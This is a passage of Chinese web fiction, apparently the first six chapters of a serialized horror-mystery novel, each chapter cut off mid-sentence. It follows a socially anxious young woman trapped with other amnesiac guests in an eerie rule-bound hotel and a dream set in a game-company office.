《我好像住进了黑店》 1. 入住 《我好像住进了黑店》全本免费阅读 天色阴沉,乌云压得很低,云里不时闪起电光,伴随轰隆隆的闷响,仿佛即将掀起一场狂风骤雨。 四周浓雾遮挡了视野,白茫茫的一片,不知身处何地,只有面前耸立着一栋三层高的楼房。 楼顶立着一块灯牌,红色的灯光映出四个大字——穷途旅店。 整栋楼看上去破破烂烂,外墙脱落得斑驳不堪,不少地方都已经生霉发黑。 俞小澄正站在旅店楼前,无论如何都想不起自己为何会来到这里。 天色越来越暗,空中电闪雷鸣,旅店的窗户透出昏黄的灯光,似乎在唤着俞小澄进去。 四周阴风阵阵,鼻腔里弥漫着一股发霉的味道,俞小澄内心抗拒,犹豫着要不要走进旅店里。 片刻后,老天替她拿了主意,天空中忽然下起暴雨,密集的雨滴砸在她头顶,她无奈地抬手遮挡,一咬牙便冲向大门。 刚一靠近,不等她推门,看似厚重的木门便自动向两边开启,一阵强光亮起,刺得她睁不开眼睛。 刹那间,雷电的轰鸣与嘈杂的雨声统统消失,俞小澄睁开眼,发现自己竟身处整洁而气派的大厅里。 这里看上去更像是酒店大堂,明亮而宽敞,简直无法与方才她看到的破旧小楼联系到一起。 正对大门是前台,却没有接待的人,柜台空荡荡的,只有墙上挂着的钟表滴答滴答走个不停,时针与分针此刻正指向11点钟。 大厅两边摆着沙发和茶几,八个人分坐两边,一边五人组队,一边三人抱团,气氛有些微妙,但无一例外都紧盯着俞小澄。 感受到两边投来的目光,俞小澄顿时有些心慌,连忙低头回避,双手下意识揣进衣兜里翻找着手机,却发现兜里空空如也。 “学姐?” 身后忽然传来一个熟悉的声音,亲切中带着点久别重逢的喜悦。 俞小澄转过头,只见一个高个子男生正冲着自己笑。 纵然四年未见,她也一眼便认出那人是大学学弟——吴樊祐。 吴樊祐长着一张令人嫉妒的漂亮脸蛋,大学时期可谓是万人迷,结实匀称的身材曾让俞小澄误以为他是体育生,后来才知道,他是计算机系学霸。 二人并不同系,且俞小澄是个实打实的学渣,能与学校风云人物相识,纯粹是因为二人曾加入同一个社团。 许久不曾联系,没想到对方还记得自己,俞小澄脑中一片空白,最后只回了一声“哦”。 话音刚落,她就恨不得挖个坑把自己埋起来,脑里复盘着各种回应方式,肠子都要悔青了,表面却还要维持风平浪静。 吴樊祐闻言笑得更灿烂了,赞叹道:“学姐一点没变,高冷!” 高冷你妹啊!俞小澄感觉整个人都不好了。 她只是社恐罢了,脑子里想太多,嘴却有些笨,因为这性子,大学五年没少受人排挤。 至于为何大学上了五年,因为挂科学分不够延毕一年,最后与低一届的吴樊祐同一年毕业,令她羞愧得头都抬不起来。 所以再见吴樊祐,她并没有那么高兴,反倒因为又想起自己努力遗忘的过往而尴尬得脚趾抠地。 好在旁人没有留给他们太多叙旧的时间,一个戴着墨镜的中年男人热情地迎上前来,打断道:“二位,欢迎啊,我叫陈齐。” “谢谢,吴樊祐,这我学姐俞小澄。”吴樊祐客气回话,接着又好奇问道,“不过这是哪儿啊?你们又是……” 俞小澄一时插不上嘴,索性观察着四周。 方才与陈奇坐在一起的三女一男全都一脸焦虑地望着这边,而另外一边抱团的三人则窃窃私语,看向陈奇的眼神泛出些许厌恶之色。 俞小澄不知所以,又听吴樊祐与陈奇攀谈起来。 陈奇轻咳两声,故作玄虚地笑道:“这里啊,不好说,你就当是真人游戏吧。” “什么?游戏?那我可太喜欢了。”吴樊祐一脸兴奋的模样。 俞小澄无语地白了吴樊祐一眼,总觉得他在装傻,不过在陌生人面前不便拆穿,就静静看着他继续表演。 陈奇愣了愣神,苦笑着回道:“呵,喜欢就好……喜欢就好……” 见对方一时接不住话,吴樊祐偷偷一笑,又转向俞小澄,温柔地问:“学姐,还记得来这儿前,你在干什么吗?” 面对突然发问,俞小澄心头一紧,放在衣兜里的手不由得攥紧。 她只记得自己窝在出租房中,接到小姨电话,说她母亲过世,要她回乡张罗母亲后事。后来她买了回乡的大巴票,收拾好行李,退了房,踏上回乡的旅程。 而记忆便断在了回乡的大巴车上。 迟疑了半晌,俞小澄只是摇了摇头,犹犹豫豫憋出一句:“不知道……” 吴樊祐不急不躁温和一笑,安慰道:“噢,没事,我也不知道,但总会想起来了的。” “小兄弟,心真大啊……”陈奇插话道,语气带着嘲讽的味道,“来到这里的人都遗失了部分记忆,一旦进了旅店便走不出去,能如此淡定的新人,你倒是头一个。” 吴樊祐依旧盯着俞小澄,对陈奇的话充耳不闻,只道:“来都来了,学姐不必太担心。” 俞小澄埋着头,径直回到门边,拉了拉门把手,发现大门上了锁,当真是出不去。 见她使劲拽门的慌张样,陈奇散漫地回到同伴身旁坐下,双脚搭在茶几上,幸灾乐祸地说:“别白费力气了,不找回记忆是出不去的。” 俞小澄被这句话吸引,忍不住走到陈奇那伙人面前,壮着胆子问道:“怎……怎么找回记忆?” 陈奇伸手拉她坐到身旁,一只手搭在她肩上。 俞小澄心里很是抵触,不由得皱起了眉头,简直想赏陈奇一巴掌,可她只敢心里想一想,浑身僵硬得不敢动弹。 随后陈奇凑到她耳边,低声说道:“你只要跟着我……” 话音未落,吴樊祐一把拎着俞小澄的衣服帽子将她从沙发上提了起来,然后往身后一带,便挡在了她与陈奇之间。 俞小澄心有余悸,躲在吴樊祐身后不知所措,下意识地抓紧吴樊祐的外套。 一句感谢的话还未说出口,便听吴樊祐轻描淡写地说:“游戏罢了,不必麻烦奇哥。” 陈奇脸色有些难堪,气得牙痒,压着怒气说:“上一个这么自信的家伙,没活过第一个晚上。” 与陈奇坐在一起的三女一男见势不妙,纷纷开口劝说,战战兢兢诉说着旅店的恐怖。 “这旅店……有鬼……” “是啊,你们根本不知道夜里会经历什么,太吓人了!” “要不是齐哥,我第一晚就死了……” “齐哥可是唯一一个在旅店里安然无恙度过半月的大神,你们还不抱紧大腿?” 旁人说得越起劲,陈奇嘴角的笑意越浓烈,还假 2. 奇怪 《我好像住进了黑店》全本免费阅读 俞小澄犹豫再三,最终还是选择从楼梯间上去,吴樊祐跟在她身后,时不时寻找话题同她聊上几句,可她兴致始终不高,总是敷衍了事。 吴樊祐:“学姐最近在做什么?” 俞小澄:“没做什么。” 吴樊祐:“毕业后怎么从不与我联系,是不是都把我忘了?” 俞小澄:“没……太、太忙了……” 吴樊祐:“忙到连通讯好友都删了?” 俞小澄:“呃……没有吧……啊,我手机不知道哪去了……” 俞小澄说着红了脸,手忙脚乱在身上翻找一通,甚至将内兜掏出来以示自己没有说谎,却不敢抬头看吴樊祐。 吴樊祐开玩笑一般拍了拍她的后背,将人推着继续上台阶,脸上带着一丝苦笑。 “我手机也不见了,或许是旅店内不允许外带东西。再说,删我又不是这两天的事……” “你怎么知……”俞小澄惊慌地转过头,顺口问了出来,忽又觉得不打自招,急忙捂住了嘴。 吴樊祐立马表现出一脸受伤的模样,靠着楼梯扶手捂着胸口,就像中箭了一般,故作沮丧地说:“学姐还是这么高冷,我还以为大学时我们关系不错呢。” 俞小澄有些尴尬,没有理会他,扭头快步往楼上走。吴樊祐便立马不演了,嘴里一边求饶,一边追赶着俞小澄。 高冷吗? 俞小澄心中有些不是滋味,她从不想当一个高冷的人,孤僻也从不是她主动追求的。 当初删掉吴樊祐,也不过是删掉自己不切实际的幻想,在她看来,他们俩始终不是一个世界的人。 记忆猛地闪回毕业的那一天,她险些向那个永远被人包围、被阳光照射的男生告白。 她不禁打了个寒颤,赶紧甩了甩头。 感觉死去的记忆在疯狂敲打紧锁的大门,她便又在门上加了一把锁。 俞小澄先上到二楼,走出楼梯间,只见一条长长的走廊,浅色的壁纸,深色的地毯,可诡异的是这条走廊上没有一扇门,没有一扇窗。 整层楼安静得可怕,长长的走廊向两边延伸,大概三四十米的地方便是尽头,只有一面墙壁,靠墙摆放着一面全身镜,让这条走廊看上去没有尽头。 俞小澄只是看了一眼,就觉得浑身血液凝固,心脏嘣嘣直跳,头皮发麻,手脚发软。 隐约间,她好像听到两个小孩的说话声,模模糊糊,听上去不真切,在空寂的走廊中回响。 “姐姐,看见我们了吗?” “姐姐,陪人家一起玩嘛。” 那声音不知来自哪里,像在耳边低语,如同叫魂,透着阴森森的凉意。 俞小澄强忍着尖叫的冲动,咬着牙,抿着嘴,僵直着身子退回了楼梯间。 跟在她身后的吴樊祐见状不知所以,将头探出门外,嘴里还问着:“咋了?见鬼了?” 听到一个“鬼”字,俞小澄感觉浑身起了一层鸡皮疙瘩,一巴掌拍在吴樊祐背上,扯着衣服将人拽回了楼梯间。 俞小澄战战兢兢地问:“你看到了什么?” 吴樊祐抿嘴偷笑:“走廊呀,还能有啥。” “还有呢?”俞小澄咽了咽口水。 吴樊祐又探头往走廊里望了一眼,道:“还有镜子。” 俞小澄:“还有呢?” 吴樊祐:“没啦。” 俞小澄腿一软便往地上滑,吴樊祐见状立即上前搀扶,轻抚着后背安慰:“学姐别怕,真的什么都没有。” 俞小澄机械地扭过头,声音有些颤抖:“连房间都没有……” “或许忘记修了。”吴樊祐随口一说。 俞小澄欲哭无泪:“那你有没有听见说话声?” 吴樊祐不解地反问:“有吗?” 俞小澄嘴唇颤抖着回:“没有吗?” 吴樊祐肯定地摇了摇头。 眼瞅着俞小澄的脸被吓到没了血色,吴樊祐急忙宽慰:“你别自己吓自己,或许是太过紧张的幻听。我们去三楼,那里肯定正常,那个奇哥不是说餐厅在三楼么。” 吴樊祐说着扶起俞小澄往楼上走,俞小澄也不敢多做停留,唯恐下一刻从走廊里窜出点什么。 二人顺利上到三楼,走出楼梯间,视野再度宽阔。 这一层,一边是用餐区,一边是休息活动区,并没有分割成独立房间。 只有休息活动区的一个角落里,隔出一个小房间,门牌上写着“吸烟室”。 餐厅是自助用餐,明明没有服务员,却整整齐齐摆着各式各样的餐食,还热腾腾地冒着蒸气。 和大厅里一样,陈奇五人围坐一桌,而另外三人则与陈哥隔开了几张桌子,看上去似乎不想与陈奇等人有任何瓜葛。 俞小澄走进餐厅,迎来的只有恶意的嘲笑和冷漠的视线。她不想招惹麻烦,便在远离人群的门边位子坐下。 吴樊祐总是一副既来之则安之的淡定模样,俞小澄在为今后处境惴惴不安,他却只思考着什么好吃。 俞小澄没什么胃口,坐在位子上没有动弹,吴樊祐则去端来满满两盘菜,大快朵颐地吃了起来,似乎这个怪异的地方丝毫不影响他的胃口。 见俞小澄不动筷,吴樊祐又去给她选了水果、甜品和果汁,还安慰说:“据说甜食能使人快乐。” 俞小澄只是瞥了他一眼,心道:命都要没了,要快乐管屁用。 见她不为所动,吴樊祐便压低声音:“听说饿肚子容易见鬼。” 这句话立刻令俞小澄抓起一块蛋糕往嘴里塞。 “噗……”吴樊祐忍不住笑出了声,“我记得学姐以前最爱研究灵异怪事,怎么还会怕鬼?” 俞小澄嘴里塞满蛋糕,低下头,没有吱声。 大学时,他们同在超自然社团,俞小澄最大的兴趣便是诡异事件揭秘,平时与同学一句话都搭不上,在社团时却能分析得头头是道。 那里,是她逃避现实的避风港。 可一离开学校,她便被现实打回原形。 未知是恐惧的源头,只要知道真相,便能消除恐惧。可人心永远难以琢磨,注定充满畏惧。 后来失业的一年里,那个避风港从大学社团转移到了网上,她便沉迷于网络中扮演不一样的自己,一步都不想离开那间小房子。 可最终呢? 俞小澄觉得吴樊祐的话有些讽刺,就像在嘲笑她的过去。 对面的人突然陷入低气压,吴樊祐很快便发觉,立马岔开了话题,“你也不必太过担心,我一定会帮你离开这里。” 俞小澄不知道他哪来的自信,光看前台贴的规则,她反正是毫无头绪。 吴樊祐又问:“学姐离开后想做什么?” 俞小澄眼神黯淡地喝着果汁,淡淡回了句:“回老家。” “回老家干嘛?”吴樊祐继续追问。 “处理后事”四个字刚到嘴边,就被俞小澄咽了回去,她不想卖惨,也不想让眼前这个男人同情自己,于是信口开河道:“结婚。” 吴樊祐意外地没有接话,脸色微微沉了下去,只是轻轻“哦”了一声,而后若有所思地低下头,大口吃着盘里的菜。 她似乎一句话 3. 神秘 《我好像住进了黑店》全本免费阅读 重新回到大厅时,就像刚到时那般,陈奇和他团队的三女一男围在一起有说有笑,另一边则坐着禾苒三人,他们没有交谈,只是焦虑地盯着墙壁上时钟。 没有人在意随后到来的俞小澄和吴樊祐。 时间一点点过去,距离两点还差十来分钟,吴樊祐在前台附近来回走动,随意翻看。 俞小澄找了个靠近前台的角落,安静落座。没有手机在身上,一时也不晓得做什么,尴尬得手足无措,干脆埋头盯着脚尖,整个人开始放空。 时钟刚到两点,大厅内陡然生变,俞小澄听到一种类似于打印东西时发出的滋滋声。她抬起头,东张西望寻找着声音的来源。 其他人似乎早已见惯不怪,纷纷起身往前台聚拢。 俞小澄看见吴樊祐正在前台冲自己招手,便也起身走了过去。 走近一看,才发现柜台内正有一个西装革履的男人如同3D打印一般一点点显现。 整个过程不过半分钟,一个活生生的人就这么出现在众人眼前,带着格式化的笑,向众人点头问好。 而此时,前台也发生变化,原本挂着时钟的那面墙上出现数不清的玻璃格子,里面放着大大小小的礼盒,好似礼品展示墙一般。 “各位贵宾下午好,三号客服为您服务,兑换道具盲盒靠右,咨询客服靠左,请排队等候。” 说话间,柜台上被激光割出两个暗格,位置一左一右,暗格开启后,从里面升起两个木质投币箱。左边的木箱上写着——咨询处:一金币一问,新人首次免费;右边的木箱上写着——兑换处:五金币一盒,概不退换。 陈奇第一个排到了右边,手里掂量着一把金币,另外四人则退到不远处看着。 只见他将金币依次塞进木箱顶上的投币口,紧接着墙上玻璃格子一闪一闪亮起红灯。片刻后,红色灯光全部熄灭,其中两格被绿光照亮,放在那两格里的盒子沉入黑暗之中。 随着玻璃格中的盲盒消失,投币箱旁又出现一个暗格,方才消失的两个盲盒叠放在一起,从暗格中升了上来。 陈奇的脸上满是兴奋之色,拿起盲盒便迫不及待拆开看。 对于盲盒里的东西,俞小澄满心好奇,忍不住伸长脖子张望。可当她发现盲盒中开出的是一罐咖啡和一盒抽纸后,对这个地方的疑心愈发严重了。 这是兑换生活用品? 不会还有牙膏牙刷浴巾拖鞋吧? 其他人似乎也是满腹疑问,但谁也没有提出质疑,似乎只是不知该用在哪里,而非怀疑自己被耍了。 “两位有何想问?” 三号客服的声音引起俞小澄注意,面对这个问题,她一时不知如何回应,只得求助一般看向吴樊祐。 吴樊祐神情自若地说:“关于规则公告上的第六条,请详细说明。” 此话一出,旁边兑换盲盒的人群发出噗嗤一阵笑,特别是陈奇,毫不掩饰地拍柜大笑,然后冷嘲热讽道:“你是不是傻?非具体问题,这些NPC是不会回答的。我们花费那么多金币才问清的规则,你还想一口吃成大胖子?做梦!” 然而下一秒,所有人都傻眼了,只听三号客服如同念说明书一般,声音毫无起伏,喋喋不休起来。 “三号客服为您解答。本旅店二楼共有十二间房,两人标间,每晚9点房卡发放,客人可自由选择入住,只要选择相同房型,便会进入相同梦境。房型按照梦境时限分为四类,时限越长,难度越高,请谨慎挑选。” 陈奇绿着脸,怒气冲冲地吼道:“你特么以前回答怎么没这么细?!” 三号客服扭过头,死死盯住陈奇,脸上露出不带感情地笑:“回答您问题的不是我。” 陈奇暴跳如雷,高声骂道:“劳资在这儿住了半个月了,你们总共就一号、二号、三号三个客服,劳资哪个没问过?” 三号客服维持着瘆人的笑,说:“请勿对我动怒,对客服不敬也属于违反规则。” “哪儿特么有这条规则?”陈奇一听规则二字便脸色大变,虽面露胆怯却还要嘴硬。 三号客服安静地走到规则公告张贴处,指节哒哒叩了两下,回答:“现在有了。” 向他敲击的地方看去,原先只有六行小字的规则上赫然出现第七行—— 【七、不可对客服不敬】 这突然出现的规则让大厅内瞬间鸦雀无声,之前嘴硬的陈奇也噤了声,只是脸上的表情明显还有些不服气。 没人再说话,三号客服又回到吴樊祐面前,继续解说。 “每晚12点梦境开启,每场梦境限时3-6小时不等,还望客人不要沉迷其间,耽误了退房,那可是会同客房一起消失的哦。” 说到此处,三号客服露出一个怪异的笑,看得俞小澄背脊发凉。 三号客服又说:“至于梦境规则,每间客房都不一样,我没有权限,请听从造梦者指示,祝各位入住愉快。” “谁是造梦者?”俞小澄一头雾水,小声嘀咕。 三号客服突然转头看着俞小澄发问:“这是你的问题?” 仓促间,俞小澄摇头否认,她不敢如此轻易花掉这个免费的机会。 这一刻,大厅内所有人的视线向俞小澄聚焦,似乎都在等待着她能问出些他们不知道的,毕竟除了来到旅店的第一天可以免费提问一次,之后每一个问题都要消耗一枚金币。 陈奇就曾靠拉拢新人收集免费提问的机会,尽可能多的获取到旅店的规则。 看见俞小澄一副拿不定主意的模样,陈奇立马厚着脸皮搭话:“小姑娘,你不妨问问,找回记忆的线索。” 俞小澄一时拿不定主意,觉得陈奇说得似乎在理,正要提问,却被吴樊祐伸手拦住。 吴樊祐往旁边退了一步,腾出个位置,热情地招呼道:“奇哥有啥问题,不如先来,我们不急,可以再想想。” 陈奇嘴角抽搐,强忍着怒气:“既然可以免费询问,又何必多浪费一枚金币。” “那你不如把这枚金币给我,这个问题我也可以回答。”吴樊祐建议道。 陈奇满脸写着不信,嘴里嘲讽道:“你晓得个屁,想骗劳资金币,做梦!” 吴樊祐一脸惋惜地摇了摇头,说:“奇哥真是小人之心,这个答案我免费送你。大概就是——找回记忆的线索,就藏在每场梦境之中,我没有权限,祝各位好梦。” “你特么说废话呢?”陈奇咬牙切齿。 吴樊祐耸了耸肩,指着三号客服道:“不信你自己问咯。” 陈奇还当真不信邪,为了打脸吴樊祐,把心一横,从包里摸出剩余的一枚金币,万分不舍地塞进咨询处那个投币箱中,然后向三号客服提出问题。 “找回记忆的线索到底藏在何 4. 房间 《我好像住进了黑店》全本免费阅读 晚上,大厅内再次全员汇聚,前台也随着时针指向九点发生改变,这一次没有NPC现身,而是柜台上凭空出现十二张房卡,整整齐齐排成两行。 除了俞小澄和吴樊祐,几乎所有人都迫不及待跑向前台,就像谁第一个到就能抢得先机一样。 或许是被大厅内紧张的气氛感染,俞小澄心底满是不安。不过是选择今晚入住的客房罢了,怎么有种临近考场的感觉? 见所有人都围到了柜台前,俞小澄也示意吴樊祐跟去看看情况。 当二人走到前台时,禾苒正与陈奇争抢着房卡,他们抓着同一张卡不放,嘴上也不相让。 禾苒:“放手!三间房你凭什么全占了?” 陈奇:“别逼劳资动手!” 陈奇说着便抬手欲给禾苒一巴掌,手落下的一瞬间被吴樊祐抓个正着。 趁着陈奇的注意力转移到吴樊祐身上,禾苒朝着陈奇抓房卡的手就来了一口。陈奇吃痛,嗷嗷叫着卸了力,禾苒见状立刻浑身使力将房卡抽出,连忙退了两步。 “你小子一定要同我作对是吧?”陈奇挣脱吴樊祐的钳制,恶狠狠地瞪了一眼禾苒,又将气撒向吴樊祐。 吴樊祐若无其事道:“与女孩子争房间,你也挺有能耐的。” “关你屁事!”陈奇怒火中烧,可望着比自己高出一个头的吴樊祐,又心虚得不敢与其动手,只好嘴上逞英雄。 与禾苒的态度相比,张尧和施烨显然不想招惹麻烦,低声劝说着禾苒。 张尧:“苒姐你今天怎么了……” 施烨:“是啊,小禾,我们也不是非住雏菊房不可,何必……” 禾苒整个人看起来有些癫狂,双手护着房卡十分警惕:“我一定要离开,不能再等下去了,姓陈的一直强占雏菊房,说不定离开的线索就在那儿!” 张尧:“苒姐……雏菊房或许真的只是梦境难度低一点罢了,姓陈的怕死,才强行霸占……” 他们低声交谈多多少少还是传进陈奇耳中,气得陈奇整张脸通红,险些又要冲上去动手。 吴樊祐往他身前一拦,陈奇有所忌惮,才免了一场争斗。 陈奇见夺不回房卡,也不多作纠缠,转身对同伴说道:“今晚肖雪与我一间,你们两女生一间,至于郝勇,你自己再去选张房卡吧。” 陈奇说罢带着三个女生往电梯口走,那个叫郝勇的男子惊慌失措地追了上去,尖声嚷道:“奇哥,你可不能不管我啊!” 郝勇拉着陈奇的胳膊,想要挤进电梯里,却被陈奇一把推了出来,力道太大,他一个没站稳摔倒在地,眼瞅着电梯门缓缓闭上,而陈奇冷冷地俯视着他,给他留下一句话: “你的房卡在禾苒那贱人手里,不想死就自己抢回来。” 郝勇愣了愣神,从地上爬起身,一脸惊恐地转头看向禾苒三人,试图开口与禾苒交涉。可禾苒哪肯给他机会,直接快步跑进了楼梯间。 张尧与施烨也不敢久待,慌忙从柜台上选了一张房卡,急冲冲追着禾苒离开。 郝勇还没反应过来,整个大厅里就只剩下他和两个新人,绝望之感逐渐蔓延,整个人都僵住,望着缺了几张房卡的柜台,不知下一步该怎么办。 俞小澄有些同情被陈奇丢下不管的郝勇,有那么一瞬间她仿佛看见了狼狈不堪的自己,于心不忍,便小声对吴樊祐说:“要不,让他和我们一起?” 一向热心的吴樊祐却皱起了眉头,低声回复:“他不曾想帮你,你又何必帮他呐……要怪只能怪他自己有眼无珠。” 俞小澄并不赞同,轻声叹了口气,嘴里嘀咕着:“谁都不希望成为孤立无助的那一个,仅仅因为她软弱……” 不再征求吴樊祐的同意,俞小澄径直走到郝勇面前,说:“如果你不介意,可与我们一起,多一个人多份照应,总比孤身独闯好些。” 郝勇眼前一亮,仿佛抓到一根救命稻草,连声道谢。 吴樊祐露出一丝不易察觉的哀愁,可最终无可奈何,只能轻微摇了摇头,顷刻间整理好表情,催促着二人先来选房卡。 柜台上如今还剩余八张房卡,俞小澄方才没来得及细看,此刻发现卡面上印着不同的图案——三张白雪寒梅,三张空谷幽兰,两张湖畔箭竹。 她回想起三号客服说过的话,选择相同房型可进入相同梦境,而客房总共十二间,划分四类,因此每三间房共享一场梦境,与剩余房卡也能对应上。 那么,禾苒与陈奇争夺房卡时提到的雏菊,应该就是现在完全缺失的最后一种卡面,而张尧和施烨拿走了一张箭竹。 “我们该如何选?” 俞小澄看着柜台上的房卡犯了难,三号客服说过难度分类,却没细说难度对应的卡面。 “管它三七二十一,反正只睡一晚。”吴樊祐说着随意拿起两张印着白雪寒梅的房卡。 谁知郝勇脸色大变,像是见鬼了一样,惊恐得面无血色,一把抓住吴樊祐的手腕,声音颤抖地说:“大哥别乱来,你手上握着的可是我的小命。” 俞小澄趁机打探,于是从郝勇口中了解了三号客服未曾提及的规则。 原来,梅兰竹菊代表着四种难度,依次从高到低。雏菊对应的梦境限时最短,规则相对简单;寒梅对应的梦境限时最长,规则相对苛刻。 梦境中的时间流速与旅店中不同,旅店中一个小时相当于梦境中一天,所以根据梦境的难度不同,被迫停留在梦境中的时间从三天到六天不等,时间越长则越危险。 正因如此,陈奇才会每次都先抢下雏菊对应的三间房。 “所以梦境里到底会遇到什么?为何有生命危险?”俞小澄问。 郝勇压低声音回了两个字:“有鬼。” 死去的记忆仿佛在攻击俞小澄,她想起二楼发生的怪事,身上起了一层密密麻麻的鸡皮疙瘩,再要细问是什么样的鬼,郝勇却说不清。 其实他不过比俞小澄早来两日,一来便抱上了陈奇大腿,两晚都住的雏菊房。 梦境场景各不相同,但都流传着恶灵传闻。不过,只要没撞上恶灵,似乎就能存活,所以他至今也没见过恶灵到底长什么样子。 除此以外,梦境中还有许多NPC,他们各有所求,若能完成便可获得金币奖励。 陈奇指使他们完成金币任务,自己负责引开恶灵,作为交换,他们需上缴金币作为酬金。 “哦?他还能引走恶灵?”吴樊祐听着笑了起来,“不是撞见恶灵必死吗?” 郝勇摇了摇头:“我也不知道,陈奇没说。” 吴樊祐:“那跟着陈奇的人都活下来了?” 郝勇:“也不是,总有新人自作主张,第一天晚上就成了尸体。” “是么。”吴樊祐露出意味深长的笑,没有继续说下去,反而看了看时钟,催促郝勇赶紧选好房卡上楼。 不知不觉已经过了半个小时,旅店规定10点后不可出客房,所以他们没那么多时间闲聊。郝勇无奈拿起两张箭竹房卡,将其中一张递到俞小澄手里,带着二人往电梯走去。 5. 梦境(一) 《我好像住进了黑店》全本免费阅读 白晃晃的灯光亮起,俞小澄艰难地睁开了眼,竟发现自己坐在敞亮的会议室里,与她同桌而坐的人全都很陌生,面前笔记本电脑上的资料也全都不熟悉。 会议桌前站着个领导模样的男人,嘴里滔滔不绝,不管是讲的内容还是画的大饼,都让俞小澄云里雾里。 这就是梦境? 睡觉都还在上班,的确有够吓人! 俞小澄心中感慨,再四下张望,确定吴樊祐和郝勇都不在附近,一时不知如何是好。 正在发呆之际,领导敲了敲桌子,冷眼注视着俞小澄,不满地骂了声:“那个谁,发什么呆,不想干了?不想干就滚,别浪费大家时间。” 若非所有人她都不认识,她差点都要怀疑自己上班打瞌睡,才梦到了穷途旅馆。 这梦境太过真实,让她想起了上班的日子,几乎每一天都折磨着她的神经。 四面八方投来不善的目光,隐约的嘲笑声如病毒般扩散。 俞小澄登时羞红了脸,令人窒息的压力袭上心头,她什么话都说不出来,只能低头盯着桌下紧贴在一起的脚尖。 就是这一眼,吓得她差点心跳停止,只见两个半人高的黑影蹲在桌下,一左一右抱着她小腿。 一瞬间,俞小澄感觉浑身脱力,腿软得寸步难移,连尖叫的勇气都没了。她猛地抬起头,平视前方,假装看不见,心里不停默念:“都是幻觉,都是幻觉,都是幻觉……” “姐姐看到我们了?” “好像是看到了。” 桌下传来阴森森的孩童音,那声音她好像在哪里听过。 记忆猛然闪回午饭前,二楼空荡荡的走廊里,正是这两个声音在耳旁低语。 这一回想,更让俞小澄崩溃。 郝勇说过,只要没撞上恶灵,似乎就能存活下去。 那她到底是走了多大的霉运,才能刚进梦境就遇上恶灵呢? “姐姐能看见对不对?” “别装了,你腿抖得跟筛糠一样……” 声音从桌下移到耳边,俞小澄用余光瞥见两个鬼影窜到她身旁,一左一右飘浮在半空中,缓缓凑到耳边,吹起凉飕飕的风。 俞小澄僵硬着身子,抽搐着嘴角,过了良久才假笑着说道:“呵,今天真冷,是不是冷气开太足了……” 下一秒,领导的怒吼声传了过来:“那个谁,你给我滚出去!” 会议室中混杂着讥笑和窃窃私语,似乎谁都看不到俞小澄身旁的两道黑影,只是嘲笑着俞小澄的怪异举止。 “是……”俞小澄依旧目不斜视,慢慢从座位上起身,失魂落魄地往外走去。 可她走一步,两个黑影就跟一步,没有动手伤她,也似乎没打算放过她。 “姐姐怕他们干嘛,要不我帮你把他们全杀了?” “这些人又不是恶灵,你杀个屁。” 纠缠着俞小澄的黑影你一言我一语喋喋不休,可对话的内容令俞小澄停下了脚步。心底的疑惑愈发浓厚,恐惧感反而随之减轻,她一愣反问:“你们不就是恶灵么?” 黑影还未回话,领导杀人的眼神和怒骂声先杀到了。 “滚!” 俞小澄被吓得浑身一抖,不敢再做停留,快步离开了会议室。 门在背后关上,俞小澄松了一口气,刚想弄清那两黑影的来历,就见两个胖乎乎的孩童窜到面前。 两张天真无邪的脸,眨巴着圆圆的眼,飘浮在半空中,一左一右牵起俞小澄的手,似乎没有恶意,反倒如同小狗一般想与她亲近。 “嘤嘤嘤,姐姐怎么说人家是恶灵,恶灵什么的最可怕了,人家是进宝。” 说话的是女童,头上扎着两个小辫,软软糯糯的十分可爱。 看着两个化身人形的小鬼,俞小澄心中恐惧一扫而空,说话的声音都不禁柔软了些:“哦哦,你是进宝,那他岂不是招财?” 顶着瓜皮发型的男童立马星星眼,一脸崇拜地说:“哇,姐姐怎么知道!” 还真是招财进宝,取名的人也太不走心了。 俞小澄很想吐槽,但看着两孩子一脸天真地望着自己,又于心不忍,便转移话题道:“你俩是NPC么?” 招财笑嘻嘻地回道:“不知道。” 进宝撅着嘴,有些不高兴:“进宝就是进宝。” 两小家伙知道的并不比俞小澄多,只记得自己睡在黑漆漆的空房间里,直到听见俞小澄的声音,心中欢喜,便推门离开了那里,此后一直跟着俞小澄。 但是俞小澄无法在梦境外看见他们,他们只好跟着俞小澄进入梦境,如此这般方得相见。 能有人莫名喜欢自己,属实稀奇,俞小澄对这两小孩不禁生出好感。心想着在这怪异的梦境中有人相伴也是好事,便由着这两鬼魂一样的孩子与自己同行。 这里是一栋写字楼,一整层都属于某家游戏公司,分割为前台、办公区、会议区、休息区四大块。 俞小澄所在位置属会议区,三间会议室相邻成排,以电控雾化玻璃作隔断。会议室的尽头是茶水间,正对茶水间的一道门通往办公区。 办公区内按照部门划分,整齐地摆放着带有挡板的办公桌,足以容纳两三百人。另有数间独立房间,用作管理层的办公室。靠近角落则是打印室、档案室以及杂物间。 另一端是休息区,又分了吸烟室、娱乐室、餐厅和卫生间。 整体而言,办公环境算得上相当舒适。 会议室此时只有俞小澄离开的那间正在使用,其余两间并无人。 路过茶水间,俞小澄闻到一股咖啡香味,只见里面站着几个不认识的男同事,一边喝着咖啡一边闲谈,聊天的内容透着一丝古怪。 “今晚是哪个部门加班?” “好像是美术组。” “啊?美术组漂亮妹妹挺多,可惜了……” “还不知是谁,总之一律远离!” 俞小澄本想继续听下去,可那几个人似乎觉察到她的出现,立刻警惕地闭了嘴,看向她的眼神有些异样,拿着杯子快步离开,那模样,就跟见鬼了一样。 俞小澄自然地瞧了瞧自己身上,没发现有什么奇怪的地方,无语地叹了口气,嘴里嘀咕:“人都被你们吓跑了……” 招财不服气地回嘴:“是被你吓的好不好,这些NPC又看不见我和进宝。” 俞小澄方想起,刚才在会议室,其他人似乎也看不见这两个小鬼,那么茶水间的几个男人是害怕自己才离开的么? 她一时没有头绪,直觉应该先去找吴樊祐,便往办公区走去。 办公区内坐满了人,都在忙着自己的工作,她只敢在门口张望,唯恐打扰到别人。屋内人太多,实在难以分清谁是谁。 正纠结着要不要找人询问时,距离门口最近的工位区有个男子站起身,举起水杯跟同事比划着说了句什么,才缓缓往茶水间走来。 他刚一转身,俞小澄惊讶地发现,那人正是张尧。 张尧也注意到俞小澄,快步上前将人拉进了 6. 梦境(一) 《我好像住进了黑店》全本免费阅读 通过办公区,俞小澄和郝勇来到了位于另一端的休息区。透过玻璃门,远远看到吴樊祐正与两个漂亮女同事围坐餐桌前有说有笑。 俞小澄和郝勇的出现,打断了三人谈话,那两个女同事只是看了俞小澄一眼,立马收敛了笑容,不约而同站起身,说有工作要忙,手拉着手急匆匆离开了。 两人的异常举动令俞小澄有些在意,虽然只是一瞬,但她从两人眼中看出了恐惧,和茶水间几个聊天的男同事状态十分相近。 